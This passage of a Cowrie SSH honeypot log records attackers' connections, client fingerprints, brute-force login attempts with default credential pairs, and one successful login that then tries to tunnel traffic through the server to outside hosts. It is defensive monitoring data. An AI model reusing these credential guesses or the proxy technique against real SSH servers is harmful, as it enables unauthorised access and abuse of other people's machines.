7\\x8cG\\x1e\\xd0(\\xcc\\x84e\\xde\\xa9\\x82\\x0f+1\\x13\\xeeP\\x9d\\xb3\\x8f\\x90\\x9f\\xdb\\x80NO\\xf5e\\x82\\xf3w\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:44.878560Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:45.205831Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerqwer","message":"login attempt [ubuntu/qwerqwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:45.965404Z","src_ip":"91.92.40.36","session":"4232e4f9eb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:48.180007Z","src_ip":"91.92.40.36","session":"4232e4f9eb03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22070,"dst_ip":"159.203.135.109","dst_port":22,"session":"49353d806dd4","protocol":"ssh","message":"New connection: 91.92.40.36:22070 (159.203.135.109:22) [session: 49353d806dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:48.492120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:49.745755Z","src_ip":"91.92.40.36","session":"49353d806dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:49.749104Z","src_ip":"91.92.40.36","session":"49353d806dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"P4$w0rd","message":"login attempt [guest/P4$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:53.212897Z","src_ip":"91.92.40.36","session":"49353d806dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54694,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c1a695c4049","protocol":"ssh","message":"New connection: 123.27.168.40:54694 (10.17.0.5:22) [session: 6c1a695c4049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:54.449230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:54.453397Z","src_ip":"123.27.168.40","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:54.481236Z","src_ip":"91.92.40.36","session":"49353d806dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:54.830786Z","src_ip":"123.27.168.40","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:56.038746Z","src_ip":"123.27.168.40","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:56.556411Z","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:56.787926Z","src_ip":"123.27.168.40","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03a\\xa7P\\xfb\\xd9\\xa4\\x8f\\xfd'\\x96\\x8b\\xa5sIX\\xb5g\\x7ft\\xc9\\x8f\\xf6\\xedwf\\xf2\\xeaf\\xbfz\\x85S \\x1cpP\\xcf\\xb4\\x96J\\xc8\\x0e\\x8b8\\x86\\xa7>R\\x96!\\x8cV\\xb8\\xa9\\x8b3D:\\xd9t6j\\xe6T\\xfe\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 0\\xb3\\x18\\x85*S\\x17\\r\\x95o\\x19\\\\\\x14\\x0b\\x0eT\\x88\\xc2\\xd4]\\xbb\\x83Jk\\xc4\\xb4\\x9fa\\x1e\\xe7^%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03a\\xa7P\\xfb\\xd9\\xa4\\x8f\\xfd'\\x96\\x8b\\xa5sIX\\xb5g\\x7ft\\xc9\\x8f\\xf6\\xedwf\\xf2\\xeaf\\xbfz\\x85S \\x1cpP\\xcf\\xb4\\x96J\\xc8\\x0e\\x8b8\\x86\\xa7>R\\x96!\\x8cV\\xb8\\xa9\\x8b3D:\\xd9t6j\\xe6T\\xfe\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 0\\xb3\\x18\\x85*S\\x17\\r\\x95o\\x19\\\\\\x14\\x0b\\x0eT\\x88\\xc2\\xd4]\\xbb\\x83Jk\\xc4\\xb4\\x9fa\\x1e\\xe7^%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:56.792952Z","src_ip":"123.27.168.40","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:57.039957Z","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:57.270056Z","src_ip":"123.27.168.40","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;\\xd0il1\\x85\\xd0_\\xd8U\\xfe\";T\\x02\\x1dUtH\\xb9R\\xf2yK\\xdfV\\xe7+`\\x1d\\x17$ )\\xa0\\x8c3bAa\\x16\\xf2\\xcb\\xf1\\x7f\\xd6\\xd9n3\\xaa\\xbc\\xfa\\xccvC\\x99\\xff\\x8e\\xef\\xfeq\\x9f\\xf3\\xe0e\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf8\\xd6\\x9c\\x84\\xccr$\\xeaJ\\x8e\\xd4Y\\x8b\\xdb\\x86\\xde\\x99\\\\\\xb4\\x0f\\xbaz\\x93\\xaa\\xd3\\xcf{)l!\\xcf\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;\\xd0il1\\x85\\xd0_\\xd8U\\xfe\";T\\x02\\x1dUtH\\xb9R\\xf2yK\\xdfV\\xe7+`\\x1d\\x17$ )\\xa0\\x8c3bAa\\x16\\xf2\\xcb\\xf1\\x7f\\xd6\\xd9n3\\xaa\\xbc\\xfa\\xccvC\\x99\\xff\\x8e\\xef\\xfeq\\x9f\\xf3\\xe0e\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf8\\xd6\\x9c\\x84\\xccr$\\xeaJ\\x8e\\xd4Y\\x8b\\xdb\\x86\\xde\\x99\\\\\\xb4\\x0f\\xbaz\\x93\\xaa\\xd3\\xcf{)l!\\xcf\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:57.272797Z","src_ip":"123.27.168.40","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:57.536476Z","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:57.592332Z","src_ip":"123.27.168.40","session":"6c1a695c4049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17420,"dst_ip":"159.203.135.109","dst_port":22,"session":"8056ee96d911","protocol":"ssh","message":"New connection: 91.92.40.36:17420 (159.203.135.109:22) [session: 8056ee96d911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:59.819434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:59.895917Z","src_ip":"91.92.40.36","session":"8056ee96d911","protocol":"ssh"}
